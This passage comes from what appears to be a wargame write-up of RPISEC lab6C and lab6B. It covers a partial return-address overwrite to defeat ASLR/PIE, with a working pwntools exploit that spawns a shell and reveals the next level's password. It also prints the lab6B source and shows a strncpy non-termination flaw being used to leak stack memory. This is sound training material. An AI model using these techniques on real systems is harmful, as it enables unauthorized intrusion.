\/>\n&#8211;> the heap<br \/>\n&#8211;> libraries (<code>libc<\/code>, <code>ld<\/code>, ...)<\/p>\n<p>When the binary is compiled as PIE the following memory maps are additionally randomized:<br \/>\n&#8211;> main binary (<code>.text<\/code>, <code>.plt<\/code>, <code>.got<\/code>, <code>.rodata<\/code>, ...)<\/p>\n<h2>final exploit<\/h2>\n<p>With this in mind we can now proceed constructing our exploit for this level.<\/p>\n<p>We have already figured out, that the return address of the function <code>handle_tweet<\/code> is stored at offset 196 from the buffer <code>save->tweet<\/code>.<\/p>\n<p>Let's first inspect the return address and the address of the function we want to jump to (<code>secret_backdoor<\/code>) on multiple runs in order to understand the impact of ASLR and PIE:<\/p>\n<pre class=\"brush: bash; gutter: false; highlight: [1,8,10,36,42]; title: ; notranslate\" title=\"\">\r\ngdb-peda$ disassemble handle_tweet\r\nDump of assembler code for function handle_tweet:\r\n   ...\r\n   0x000007ea &lt;+112&gt;:   pop    ebx\r\n   0x000007eb &lt;+113&gt;:   pop    ebp\r\n   0x000007ec &lt;+114&gt;:   ret\r\nEnd of assembler dump.\r\ngdb-peda$ b *handle_tweet+114\r\nBreakpoint 1 at 0x7ec\r\ngdb-peda$ r\r\nStarting program: \/levels\/lab06\/lab6C\r\n--------------------------------------------\r\n|   ~Welcome to l33t-tw33ts ~    v.0.13.37 |\r\n--------------------------------------------\r\n&gt;: Enter your username\r\n&gt;&gt;: aaa\r\n&gt;: Welcome, aaa\r\n&gt;: Tweet @Unix-Dude\r\n&gt;&gt;: bbb\r\n&gt;: Tweet sent!\r\n&#x5B;----------------------------------registers-----------------------------------]\r\nEAX: 0xf\r\nEBX: 0xb7709000 --&gt; 0x1efc\r\nECX: 0xb76df000 (&quot;&gt;: Tweet sent!\\nDude\\nme\\n&quot;, '-' &lt;repeats 21 times&gt;, &quot;\\n&quot;)\r\nEDX: 0xb76d5898 --&gt; 0x0\r\nESI: 0x0\r\nEDI: 0x0\r\nEBP: 0xbf934108 --&gt; 0x0\r\nESP: 0xbf9340ec --&gt; 0xb770798a (&lt;main+40&gt;:      mov    eax,0x0)\r\nEIP: 0xb77077ec (&lt;handle_tweet+114&gt;:    ret)\r\nEFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)\r\n&#x5B;-------------------------------------code-------------------------------------]\r\n   0xb77077e4 &lt;handle_tweet+106&gt;:       add    esp,0xd4\r\n   0xb77077ea &lt;handle_tweet+112&gt;:       pop    ebx\r\n   0xb77077eb &lt;handle_tweet+113&gt;:       pop    ebp\r\n=&gt; 0xb77077ec &lt;handle_tweet+114&gt;:       ret\r\n   0xb77077ed &lt;set_tweet&gt;:      push   ebp\r\n   0xb77077ee &lt;set_tweet+1&gt;:    mov    ebp,esp\r\n   0xb77077f0 &lt;set_tweet+3&gt;:    push   ebx\r\n   0xb77077f1 &lt;set_tweet+4&gt;:    sub    esp,0x414\r\n&#x5B;------------------------------------stack-------------------------------------]\r\n0000| 0xbf9340ec --&gt; 0xb770798a (&lt;main+40&gt;:     mov    eax,0x0)\r\n0004| 0xbf9340f0 --&gt; 0xb7707a80 ('-' &lt;repeats 44 times&gt;, &quot;\\n|   ~Welcome to l33t-tw33ts ~    v.0.13.37 |\\n&quot;, '-' &lt;repeats 44 times&gt;)\r\n0008| 0xbf9340f4 --&gt; 0xb7706000 --&gt; 0x20f34\r\n0012| 0xbf9340f8 --&gt; 0xb77079ab (&lt;__libc_csu_init+11&gt;:  add    ebx,0x1655)\r\n0016| 0xbf9340fc --&gt; 0xb76d4000 --&gt; 0x1a9da8\r\n0020| 0xbf934100 --&gt; 0xb77079a0 (&lt;__libc_csu_init&gt;:     push   ebp)\r\n0024| 0xbf934104 --&gt; 0xb76d4000 --&gt; 0x1a9da8\r\n0028| 0xbf934108 --&gt; 0x0\r\n&#x5B;------------------------------------------------------------------------------]\r\nLegend: code, data, rodata, value\r\n\r\nBreakpoint 1, 0xb77077ec in handle_tweet ()\r\n<\/pre>\n<p>I set a breakpoint on the <code>ret<\/code> instruction of <code>handle_tweet<\/code>, run the program and entered some data. The return address is <code>0xb770798a<\/code>.<\/p>\n<p>Let's determine the address of <code>secret_backdoor<\/code>:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\ngdb-peda$ p secret_backdoor\r\n$1 = {&lt;text variable, no debug info&gt;} 0xb770772b &lt;secret_backdoor&gt;\r\n<\/pre>\n<p>The address of <code>secret_backdoor<\/code> is <code>0xb770772b<\/code>. As the offset of the function is <code>0x72b<\/code>, the base address of the memory map is <code>0xb7707000<\/code>.<\/p>\n<p>This can be verifying by having a look at <code>\/proc\/pid\/maps<\/code> again:<\/p>\n<pre class=\"brush: bash; gutter: false; highlight: [3]; title: ; notranslate\" title=\"\">\r\ngameadmin@warzone:~$ sudo cat \/proc\/$(sudo pidof lab6C)\/maps\r\n...\r\nb7707000-b7708000 r-xp 00000000 fc:00 922466     \/levels\/lab06\/lab6C\r\nb7708000-b7709000 r--p 00000000 fc:00 922466     \/levels\/lab06\/lab6C\r\nb7709000-b770a000 rw-p 00001000 fc:00 922466     \/levels\/lab06\/lab6C\r\n...\r\n<\/pre>\n<p>If we rerun the program the addresses change:<\/p>\n<pre class=\"brush: bash; gutter: false; highlight: [1,4,10,13]; title: ; notranslate\" title=\"\">\r\ngdb-peda$ r\r\nStarting program: \/levels\/lab06\/lab6C\r\n...\r\n=&gt; 0xb77447ec &lt;handle_tweet+114&gt;:       ret\r\n   0xb77447ed &lt;set_tweet&gt;:      push   ebp\r\n   0xb77447ee &lt;set_tweet+1&gt;:    mov    ebp,esp\r\n   0xb77447f0 &lt;set_tweet+3&gt;:    push   ebx\r\n   0xb77447f1 &lt;set_tweet+4&gt;:    sub    esp,0x414\r\n&#x5B;------------------------------------stack-------------------------------------]\r\n0000| 0xbfaacf5c --&gt; 0xb774498a (&lt;main+40&gt;:     mov    eax,0x0)\r\n...\r\ngdb-peda$ p secret_backdoor\r\n$2 = {&lt;text variable, no debug info&gt;} 0xb774472b &lt;secret_backdoor&gt;\r\n<\/pre>\n<p>Now the return address is <code>0xb774498a<\/code> and the function <code>secret_backdoor<\/code> is located at <code>0xb774472b<\/code>.<\/p>\n<p>As you may have noticed, only the last 3 hex digits of the addresses vary (the offset). The randomized base address is the same for both addresses.<\/p>\n<p>When we only overwrite the last 2 bytes (since we cannot overwrite 3 hex digits = 1.5 bytes), the upper 2 bytes will be left untouched and still contain the randomized base address. The 4th hex digit is also random, but since there are only 2^4 = 16 possible values we can just bruteforce this part of the byte.<\/p>\n<p>The following picture illustrates this technique called <i>Partial Overwrite<\/i>:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/02\/lab6C.png\" alt=\"\" width=\"960\" height=\"264\" class=\"alignnone size-full wp-image-379\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/02\/lab6C.png 960w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/02\/lab6C-300x83.png 300w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/02\/lab6C-768x211.png 768w\" sizes=\"(max-width: 767px) 89vw, (max-width: 1000px) 54vw, (max-width: 1071px) 543px, 580px\" \/><\/p>\n<p>In order to overwrite the return address by exactly 2 bytes we can adjust the value for <code>save->msglen<\/code> to 198 (196 bytes offset + 2 bytes overwrite).<\/p>\n<p>The final python-script expects the random upper 4 bits of the second byte to be zero. The process is relaunched until <code>\/bin\/sh<\/code> and the command <code>whoami<\/code> succeed:<\/p>\n<pre class=\"brush: python; first-line: 0; title: ; notranslate\" title=\"\">\r\nlab6C@warzone:\/levels\/lab06$ cat \/tmp\/exploit_lab6C.py\r\nfrom pwn import *\r\n\r\nwhile True:\r\n\r\n  p = process(&quot;.\/lab6C&quot;)\r\n  p.recv(200)\r\n\r\n  p.sendline(&quot;X&quot;*40+&quot;\\xc6&quot;) # 196 offset + 2 byte partial overwrite = 198 (0xc6)\r\n  p.recv(200)\r\n\r\n  expl = &quot;X&quot;*196\r\n  expl += p32(0x072b)\r\n  p.sendline(expl)\r\n  p.sendline(&quot;\/bin\/sh&quot;)\r\n  p.sendline(&quot;whoami&quot;)\r\n\r\n  ret = p.recv(200)\r\n\r\n  if (&quot;lab6B&quot; in ret):\r\n    p.interactive()\r\n    quit()\r\n<\/pre>\n<p>After only a few attempts the address matches:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\nlab6C@warzone:\/levels\/lab06$ python \/tmp\/exploit_lab6C.py\r\n&#x5B;+] Starting program '.\/lab6C': Done\r\n&#x5B;+] Starting program '.\/lab6C': Done\r\n&#x5B;+] Starting program '.\/lab6C': Done\r\n&#x5B;+] Starting program '.\/lab6C': Done\r\n&#x5B;+] Starting program '.\/lab6C': Done\r\n&#x5B;+] Starting program '.\/lab6C': Done\r\n&#x5B;+] Starting program '.\/lab6C': Done\r\n&#x5B;+] Starting program '.\/lab6C': Done\r\n&#x5B;*] Switching to interactive mode\r\n$ whoami\r\nlab6B\r\n$ cat \/home\/lab6B\/.pass\r\np4rti4l_0verwr1tes_r_3nuff\r\n<\/pre>\n<p>Done \ud83d\ude42 The password for the next level is <code>p4rti4l_0verwr1tes_r_3nuff<\/code>.<\/p>\n<hr \/>\n<h1 id=\"lab6B\">lab6B<\/h1>\n<p>We connecting to the next level using the previously gained credentials <span style=\"color: #ff0000;\">lab6B<\/span> with the password <span style=\"color: #ff0000;\">p4rti4l_0verwr1tes_r_3nuff<\/span>:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\ngameadmin@warzone:~$ sudo ssh lab6B@localhost\r\nlab6B@localhost's password: (p4rti4l_0verwr1tes_r_3nuff)\r\n        ____________________.___  _____________________________\r\n        \\______   \\______   \\   |\/   _____\/\\_   _____\/\\_   ___ \\\r\n         |       _\/|     ___\/   |\\_____  \\  |    __)_ \/    \\  \\\/\r\n         |    |   \\|    |   |   |\/        \\ |        \\\\     \\____\r\n         |____|_  \/|____|   |___\/_______  \/\/_______  \/ \\______  \/\r\n                \\\/                      \\\/         \\\/         \\\/\r\n __      __  _____ ____________________________    _______  ___________\r\n\/  \\    \/  \\\/  _  \\\\______   \\____    \/\\_____  \\   \\      \\ \\_   _____\/\r\n\\   \\\/\\\/   \/  \/_\\  \\|       _\/ \/     \/  \/   |   \\  \/   |   \\ |    __)_\r\n \\        \/    |    \\    |   \\\/     \/_ \/    |    \\\/    |    \\|        \\\r\n  \\__\/\\  \/\\____|__  \/____|_  \/_______ \\\\_______  \/\\____|__  \/_______  \/\r\n       \\\/         \\\/       \\\/        \\\/        \\\/         \\\/        \\\/\r\n\r\n        --------------------------------------------------------\r\n\r\n                       Challenges are in \/levels\r\n                   Passwords are in \/home\/lab*\/.pass\r\n            You can create files or work directories in \/tmp\r\n\r\n         -----------------&#x5B; contact@rpis.ec ]-----------------\r\nLast login: Mon Jan 22 16:04:02 2018 from localhost\r\n<\/pre>\n<p>As usual we start by inspecting the provided source code, which is quite large this time compared to the last labs:<\/p>\n<pre class=\"brush: cpp; first-line: 0; highlight: [17,22,27,28,29,30,31,34,35,36,37,38,44,51,89,102,123,130,133,136,138,149,157,165,170]; title: ; notranslate\" title=\"\">\r\nlab6B@warzone:\/levels\/lab06$ cat lab6B.c\r\n\/* compiled with: gcc -z relro -z now -pie -fPIE -fno-stack-protector -o lab6B lab6B.c *\/\r\n\r\n#include &lt;stdio.h&gt;\r\n#include &lt;stdlib.h&gt;\r\n#include &lt;string.h&gt;\r\n#include &lt;unistd.h&gt;\r\n#include &quot;utils.h&quot;\r\n\r\nENABLE_TIMEOUT(300)\r\n\r\n\/* log the user in *\/\r\nint login()\r\n{\r\n    printf(&quot;WELCOME MR. FALK\\n&quot;);\r\n\r\n    \/* you win *\/\r\n    system(&quot;\/bin\/sh&quot;);\r\n    return 0;\r\n}\r\n\r\n\/* doom's super secret password mangling scheme *\/\r\nvoid hash_pass(char * password, char * username)\r\n{\r\n    int i = 0;\r\n\r\n    \/* hash pass with chars of username *\/\r\n    while(password&#x5B;i] &amp;&amp; username&#x5B;i])\r\n    {\r\n        password&#x5B;i] ^= username&#x5B;i];\r\n        i++;\r\n    }\r\n\r\n    \/* hash rest of password with a pad char *\/\r\n    while(password&#x5B;i])\r\n    {\r\n        password&#x5B;i] ^= 0x44;\r\n        i++;\r\n    }\r\n\r\n    return;\r\n}\r\n\r\n\/* doom's super secure password read function *\/\r\nint load_pass(char ** password)\r\n{\r\n    FILE * fd = 0;\r\n    int fail = -1;\r\n    int psize = 0;\r\n\r\n    \/* open the password file *\/\r\n    fd = fopen(&quot;\/home\/lab6A\/.pass&quot;, &quot;r&quot;);\r\n    if(fd == NULL)\r\n    {\r\n        printf(&quot;Could not open secret pass!\\n&quot;);\r\n        return fail;\r\n    }\r\n\r\n    \/* get the size of the password *\/\r\n    if(fseek(fd, 0, SEEK_END))\r\n    {\r\n        printf(&quot;Failed to seek to end of pass!\\n&quot;);\r\n        return fail;\r\n    }\r\n\r\n    psize = ftell(fd);\r\n\r\n    if(psize == 0 || psize == -1)\r\n    {\r\n        printf(&quot;Could not get pass size!\\n&quot;);\r\n        return fail;\r\n    }\r\n\r\n    \/* reset stream *\/\r\n    if(fseek(fd, 0, SEEK_SET))\r\n    {\r\n        printf(&quot;Failed to see to the start of pass!\\n&quot;);\r\n        return fail;\r\n    }\r\n\r\n    \/* allocate a buffer for the password *\/\r\n    *password = (char *)malloc(psize);\r\n    if(password == NULL)\r\n    {\r\n        printf(&quot;Could not malloc for pass!\\n&quot;);\r\n        return fail;\r\n    }\r\n\r\n    \/* make sure we read in the whole password *\/\r\n    if(fread(*password, sizeof(char), psize, fd) != psize)\r\n    {\r\n        printf(&quot;Could not read secret pass!\\n&quot;);\r\n        free(*password);\r\n        return fail;\r\n    }\r\n\r\n    fclose(fd);\r\n\r\n    \/* successfully read in the password *\/\r\n    return psize;\r\n}\r\n\r\nint login_prompt(int pwsize, char * secretpw)\r\n{\r\n    char password&#x5B;32];\r\n    char username&#x5B;32];\r\n    char readbuff&#x5B;128];\r\n    int attempts = -3;\r\n    int result = -1;\r\n\r\n    \/* login prompt loop *\/\r\n    while(attempts++)\r\n    {\r\n        \/* clear our buffers to avoid any sort of data re-use *\/\r\n        memset(password, 0, sizeof(password));\r\n        memset(username, 0, sizeof(username));\r\n        memset(readbuff, 0, sizeof(readbuff));\r\n\r\n        \/* safely read username *\/\r\n        printf(&quot;Enter your username: &quot;);\r\n        fgets(readbuff, sizeof(readbuff), stdin);\r\n\r\n        \/* use safe strncpy to copy username from the read buffer *\/\r\n        strncpy(username, readbuff, sizeof(username));\r\n\r\n        \/* safely read password *\/\r\n        printf(&quot;Enter your password: &quot;);\r\n        fgets(readbuff, sizeof(readbuff), stdin);\r\n\r\n        \/* use safe strncpy to copy password from the read buffer *\/\r\n        strncpy(password, readbuff, sizeof(password));\r\n\r\n        \/* hash the input password for this attempt *\/\r\n        hash_pass(password, username);\r\n\r\n        \/* check if password is correct *\/\r\n        if(pwsize &gt; 16 &amp;&amp; memcmp(password, secretpw, pwsize) == 0)\r\n        {\r\n            login();\r\n            result = 0;\r\n            break;\r\n        }\r\n\r\n        printf(&quot;Authentication failed for user %s\\n&quot;, username);\r\n    }\r\n\r\n    return result;\r\n}\r\n\r\nint main(int argc, char* argv&#x5B;])\r\n{\r\n    int pwsize;\r\n    char * secretpw;\r\n\r\n    disable_buffering(stdout);\r\n\r\n    \/* load the secret pass *\/\r\n    pwsize = load_pass(&amp;secretpw);\r\n    pwsize = pwsize &gt; 32 ? 32 : pwsize;\r\n\r\n    \/* failed to load password *\/\r\n    if(pwsize == 0 || pwsize == -1)\r\n        return EXIT_FAILURE;\r\n\r\n    \/* hash the password we'll be comparing against *\/\r\n    hash_pass(secretpw, &quot;lab6A&quot;);\r\n    printf(&quot;----------- FALK OS LOGIN PROMPT -----------\\n&quot;);\r\n    fflush(stdout);\r\n\r\n    \/* authorization loop *\/\r\n    if(login_prompt(pwsize, secretpw))\r\n    {\r\n\r\n        \/* print the super serious warning to ward off hackers *\/\r\n        printf(&quot;+-------------------------------------------------------+\\n&quot;\\\r\n               &quot;|WARNINGWARNINGWARNINGWARNINGWARNINGWARNINGWARNINGWARNIN|\\n&quot;\\\r\n               &quot;|GWARNINGWARNI - TOO MANY LOGIN ATTEMPTS - NGWARNINGWARN|\\n&quot;\\\r\n               &quot;|INGWARNINGWARNINGWARNINGWARNINGWARNINGWARNINGWARNINGWAR|\\n&quot;\\\r\n               &quot;+-------------------------------------------------------+\\n&quot;\\\r\n               &quot;|       We have logged this session and will be         |\\n&quot;\\\r\n               &quot;|  sending it to the proper CCDC CTF teams to analyze   |\\n&quot;\\\r\n               &quot;|             -----------------------------             |\\n&quot;\\\r\n               &quot;|     The CCDC cyber team dispatched will use their     |\\n&quot;\\\r\n               &quot;|      masterful IT and networking skills to trace      |\\n&quot;\\\r\n               &quot;|       you down and serve swift american justice       |\\n&quot;\\\r\n               &quot;+-------------------------------------------------------+\\n&quot;);\r\n\r\n        return EXIT_FAILURE;\r\n    }\r\n\r\n    return EXIT_SUCCESS;\r\n}\r\n<\/pre>\n<p>What does the program do?<br \/>\n&#8211;> Within the <code>main<\/code> function (line 149) the <i>secret password<\/i> is read using the function <code>load_pass<\/code>:<\/p>\n<pre class=\"brush: cpp; first-line: 157; title: ; notranslate\" title=\"\">\r\n    pwsize = load_pass(&amp;secretpw);\r\n<\/pre>\n<p>&#8211;> The function (line 44) opens the password-file <code>\/home\/lab6A\/.pass<\/code> (line 51) and stores its contents in a newly allocated buffer (line 89):<\/p>\n<pre class=\"brush: cpp; first-line: 51; title: ; notranslate\" title=\"\">\r\n    fd = fopen(&quot;\/home\/lab6A\/.pass&quot;, &quot;r&quot;);\r\n<\/pre>\n<pre class=\"brush: cpp; first-line: 89; title: ; notranslate\" title=\"\">\r\n    if(fread(*password, sizeof(char), psize, fd) != psize)\r\n<\/pre>\n<p>&#8211;> In the <code>main<\/code> function this password is hashed with the username <code>lab6A<\/code> using the function <code>hash_pass<\/code> (line 165):<\/p>\n<pre class=\"brush: cpp; first-line: 165; title: ; notranslate\" title=\"\">\r\n    hash_pass(secretpw, &quot;lab6A&quot;);\r\n<\/pre>\n<p>&#8211;> This function (line 22) performs XOR upon each consecutive character in <code>password<\/code> and <code>username<\/code> as long as no null-byte is found (lines 27-31):<\/p>\n<pre class=\"brush: cpp; first-line: 27; title: ; notranslate\" title=\"\">\r\n    while(password&#x5B;i] &amp;&amp; username&#x5B;i])\r\n    {\r\n        password&#x5B;i] ^= username&#x5B;i];\r\n        i++;\r\n    }\r\n<\/pre>\n<p>&#8211;> If a null-byte in <code>username<\/code> was found, every remaining character in <code>password<\/code> is XORed with <code>0x44<\/code> as long as no null-byte is found (lines 34-38):<\/p>\n<pre class=\"brush: cpp; first-line: 34; title: ; notranslate\" title=\"\">\r\n    while(password&#x5B;i])\r\n    {\r\n        password&#x5B;i] ^= 0x44;\r\n        i++;\r\n    }\r\n<\/pre>\n<p>&#8211;> Within the <code>main<\/code> function <code>login_prompt<\/code> is called, passing the hashed <code>secretpw<\/code> (line 170):<\/p>\n<pre class=\"brush: cpp; first-line: 170; title: ; notranslate\" title=\"\">\r\n    if(login_prompt(pwsize, secretpw))\r\n<\/pre>\n<p>&#8211;> The function (line 102) calls <code>fgets<\/code> twice to read two strings in a while-loop and copies the user input to <code>username<\/code> and <code>password<\/code> using <code>strncpy<\/code> (lines 123, 130):<\/p>\n<pre class=\"brush: cpp; first-line: 123; title: ; notranslate\" title=\"\">\r\n        strncpy(username, readbuff, sizeof(username));\r\n<\/pre>\n<pre class=\"brush: cpp; first-line: 130; title: ; notranslate\" title=\"\">\r\n        strncpy(password, readbuff, sizeof(password));\r\n<\/pre>\n<p>&#8211;> The input is hashed using <code>hash_pass<\/code> (line 133) and compared to the <code>secretpw<\/code> using <code>memcmp<\/code>(line 136):<\/p>\n<pre class=\"brush: cpp; first-line: 133; title: ; notranslate\" title=\"\">\r\n        hash_pass(password, username);\r\n<\/pre>\n<pre class=\"brush: cpp; first-line: 136; title: ; notranslate\" title=\"\">\r\n        if(pwsize &gt; 16 &amp;&amp; memcmp(password, secretpw, pwsize) == 0)\r\n<\/pre>\n<p>&#8211;> If the comparison succeeds the function <code>login<\/code> is called (line 138), which spawns a shell (line 17):<\/p>\n<pre class=\"brush: cpp; first-line: 17; title: ; notranslate\" title=\"\">\r\n    system(&quot;\/bin\/sh&quot;);\r\n<\/pre>\n<p>Where is the vulnerability within the program?<\/p>\n<p>As usual we should start with the user input to spot possible vulnerabilities. Within the function <code>login_prompt<\/code> the user input is read using <code>fgets<\/code>. As the second argument <code>sizeof(readbuff)<\/code> is passed limiting the amount of characters read to <code>sizeof(readbuffer)-1<\/code>. No vulnerability here. After the calls to <code>fgets<\/code> the input is copied to the variables <code>username<\/code> \/ <code>password<\/code> using <code>strncpy<\/code>. While the averaged programmer is well aware of the dangers using <code>strcpy<\/code>, <code>strncpy<\/code> is perceived as safe. Like the calls to <code>fgets<\/code>, <code>strncpy<\/code> is called passing the size of the destination buffer (<code>sizeof(username)<\/code> \/ <code>sizeof(password)<\/code>). Seems safe? Attention!<\/p>\n<pre class=\"brush: bash; gutter: false; highlight: [1,19,20,21]; title: ; notranslate\" title=\"\">\r\ngameadmin@warzone:\/tmp$ man strncpy\r\nSTRCPY(3)                               Linux Programmer's Manual                               STRCPY(3)\r\n\r\nNAME\r\n       strcpy, strncpy - copy a string\r\n\r\nSYNOPSIS\r\n       #include &lt;string.h&gt;\r\n\r\n       char *strcpy(char *dest, const char *src);\r\n\r\n       char *strncpy(char *dest, const char *src, size_t n);\r\n\r\nDESCRIPTION\r\n       The  strcpy()  function  copies  the string pointed to by src, including the terminating null byte\r\n       ('&#92;&#48;'), to the buffer pointed to by dest.  The strings may not overlap, and the destination string\r\n       dest must be large enough to receive the copy.  Beware of buffer overruns!  (See BUGS.)\r\n\r\n       The  strncpy()  function  is  similar, except that at most n bytes of src are copied.  Warning: If\r\n       there is no null byte among the first n bytes of src, the string placed in dest will not be  null-\r\n       terminated.\r\n\r\n       If the length of src is less than n, strncpy() writes additional null bytes to dest to ensure that\r\n       a total of n bytes are written.\r\n<\/pre>\n<p>This means that the destination string ends up lacking a terminating null byte if there is no null byte among the first <code>n<\/code> characters in the source string. In order to prevent this the call must look like this:<\/p>\n<pre class=\"brush: cpp; first-line: 123; title: ; notranslate\" title=\"\">\r\n        strncpy(username, readbuff, sizeof(username) - 1);\r\n<\/pre>\n<p>Let's run the program and see how we can leverage this vulnerability. In addition to the source code there is a readme-file within the labs directory:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\nlab6B@warzone:\/levels\/lab06$ cat lab6B.readme\r\nlab6B is not a suid binary, instead you must pwn the privileged\r\nservice running on port 6642\r\n\r\nUsing netcat:\r\n   nc wargame.server.example 6642 -vvv\r\n\r\nYour final exploit must work against this service in order to\r\nget the .pass file from the lab6A user.\r\n<\/pre>\n<p>Thus we will not run the binary directly but rather connect to the service using <code>nc<\/code>:<\/p>\n<pre class=\"brush: bash; gutter: false; highlight: [1,5,6,7]; title: ; notranslate\" title=\"\">\r\nlab6B@warzone:~$ nc localhost 6642 -vvv\r\nnc: connect to localhost port 6642 (tcp) failed: Connection refused\r\nConnection to localhost 6642 port &#x5B;tcp\/*] succeeded!\r\n----------- FALK OS LOGIN PROMPT -----------\r\nEnter your username: aaaa\r\nEnter your password: bbbb\r\nAuthentication failed for user aaaa\r\n\r\nEnter your username:\r\n<\/pre>\n<p>Every thing works as intended so far. Now let's enter a username which will fill the whole buffer (32 byte):<\/p>\n<pre class=\"brush: bash; gutter: false; highlight: [3]; title: ; notranslate\" title=\"\">\r\nEnter your username: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\nEnter your password: xxxx\r\nAuthentication failed for user AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA9999K\r\nEnter your username:\r\n<\/pre>\n<p>Now the username is not null-terminated. When it is being printed, the characters following the buffer in memory are also printed: <code>9999K<\/code>. What is <code>9999K<\/code>? Remember that the password we entered was is being hashed with the username using the function <code>hash_pass<\/code>:<\/p>\n<pre class=\"brush: cpp; first-line: 27; title: ; notranslate\" title=\"\">\r\n    while(password&#x5B;i] &amp;&amp; username&#x5B;i])\r\n    {\r\n        password&#x5B;i] ^= username&#x5B;i];\r\n        i++;\r\n    }\r\n<\/pre>\n<p>This means that the <code>9999K<\/code> is our hashed password:<\/p>\n<pre>\r\n'A' (0x41) ^  'x' (0x78) = '9' (0x39)\r\n'A' (0x41) ^  'x' (0x78) = '9' (0x39)\r\n'A' (0x41) ^  'x' (0x78) = '9' (0x39)\r\n'A' (0x41) ^  'x' (0x78) = '9' (0x39)\r\n'A' (0x41) ^ '\\n' (0x0a) = 'K' (0x4b)\r\n<\/pre>\n<p>As <code>fgets<\/code> considers the entered newline as a valid character, it is also copied to <code>password<\/code>.<\/p>\n<p>So what is happening if we enter a 32 byte username and a 32 byte password?<\/p>\n<pre class=\"brush: bash; gutter: false; highlight: [3]; title: ; notranslate\" title=\"\">\r\nEnter your username: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\nEnter your password: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\r\nAuthentication failed for user AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA99999999999999999999999999999999\u2592\u2592\u2592\u2592\u2592\u2592\u2592\u2592A\u2592D\u2592A\u2592D\u2592q\u2592\u2592G\u2592D\u2592&quot;\r\nEnter your username:\r\n<\/pre>\n<p>Looks like we are getting somewhere \ud83d\ude42 Now the characters following the <code>password<\/code> buffer are also printed. Since both the <code>username<\/code> and the <code>password<\/code> buffer are stored on the stack, this must be items on the stack following these buffers.<\/p>\n<p>And did you notice something else? Actually only 3 attempts to enter a username\/password should be allowed before the program is quit. But the program keeps asking me for a username. It seems likely that we overwrote the <code>attempts<\/code> variable on the stack:<\/p>\n<pre class=\"brush: cpp; first-line: 102; highlight: [107]; title: ; notranslate\" title=\"\">\r\nint login_prompt(int pwsize, char * secretpw)\r\n{\r\n    char password&#x5B;32];\r\n    char username&#x5B;32];\r\n    char readbuff&#x5B;128];\r\n    int attempts = -3;\r\n    int result = -1;\r\n<\/pre>\n<p>In order to examine the output of the service better we can write a little python-script using <code>pwntools<\/code>:<\/p>\n<pre class=\"brush: python; first-line: 0; title: ; notranslate\" title=\"\">\r\nlab6B@warzone:~$ cat \/tmp\/examine_lab6B.py\r\nfrom pwn import *\r\n\r\np = remote(&quot;localhost&quot;, 6642)\r\n\r\nprint(p.recv(200))\r\np.sendline(&quot;A&quot;*32) # sending username\r\n\r\nprint(p.recv(200))\r\np.sendline(&quot;x&quot;*32) # sending password\r\n\r\nret = p.recv(400)\r\nprint(hexdump(ret))\r\n<\/pre>\n<p>Running the script:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\nlab6B@warzone:~$ python \/tmp\/examine_lab6B.py\r\n&#x5B;+] Opening connection to localhost on port 6642: Done\r\n----------- FALK OS LOGIN PROMPT -----------\r\nEnter your username:\r\nEnter your password:\r\n00000000  41 75 74 68  65 6e 74 69  63 61 74 69  6f 6e 20 66  \u2502Auth\u2502enti\u2502cati\u2502on f\u2502\r\n00000010  61 69 6c 65  64 20 66 6f  72 20 75 73  65 72 20 41  \u2502aile\u2502d fo\u2502r us\u2502er A\u2502\r\n00000020  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  \u2502AAAA\u2502AAAA\u2502AAAA\u2502AAAA\u2502\r\n00000030  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 39  \u2502AAAA\u2502AAAA\u2502AAAA\u2502AAA9\u2502\r\n00000040  39 39 39 39  39 39 39 39  39 39 39 39  39 39 39 39  \u25029999\u25029999\u25029999\u25029999\u2502\r\n00000050  39 39 39 39  39 39 39 39  39 39 39 39  39 39 39 c6  \u25029999\u25029999\u25029999\u2502999\u00b7\u2502\r\n00000060  c6 c6 c6 c7  c6 c6 c6 41  36 47 8e 41  36 47 8e d1  \u2502\u00b7\u00b7\u00b7\u00b7\u2502\u00b7\u00b7\u00b7A\u25026G\u00b7A\u25026G\u00b7\u00b7\u2502\r\n00000070  8f e1 86 47  d6 44 8e 22  0a                        \u2502\u00b7\u00b7\u00b7G\u2502\u00b7D\u00b7&quot;\u2502\u00b7\u2502\r\n00000079\r\n&#x5B;*] Closed connection to localhost port 6642\r\n<\/pre>\n<p>Now we can identify the single items on the stack following the <code>password<\/code> buffer (little-endian):<\/p>\n<pre>\r\n[  c6c6c6c6  ]  (0x5f - 0x62)\r\n[  c6c6c6c7  ]  (0x63 - 0x66)\r\n[  8e473641  ]  (0x67 - 0x6a)\r\n[  8e473641  ]  (0x6b - 0x6e)\r\n[  86e18fd1  ]  (0x6f - 0x72)\r\n[  8e44d647  ]  (0x73 - 0x76)\r\n...\r\n<\/pre>\n<p>These values does not seem familiar. We can use <code>radare<\/code> to determine what is actually stored on the stack:<\/p>\n<pre class=\"brush: bash; gutter: false; highlight: [1,8,9,10,11,12,21,22,27,29,32,34,37,39]; title: ; notranslate\" title=\"\">\r\n&#x5B;0x000008c0]&gt; pdf @ sym.login_prompt\r\n\u2552 (fcn) sym.login_prompt 395\r\n\u2502          ; arg int arg_2        @ ebp+0x8\r\n\u2502          ; arg int arg_3        @ ebp+0xc\r\n\u2502          ; arg int arg_4        @ ebp+0x10\r\n\u2502          ; var int local_0_1    @ ebp-0x1\r\n\u2502          ; var int local_0_3    @ ebp-0x3\r\n\u2502          ; var int local_3      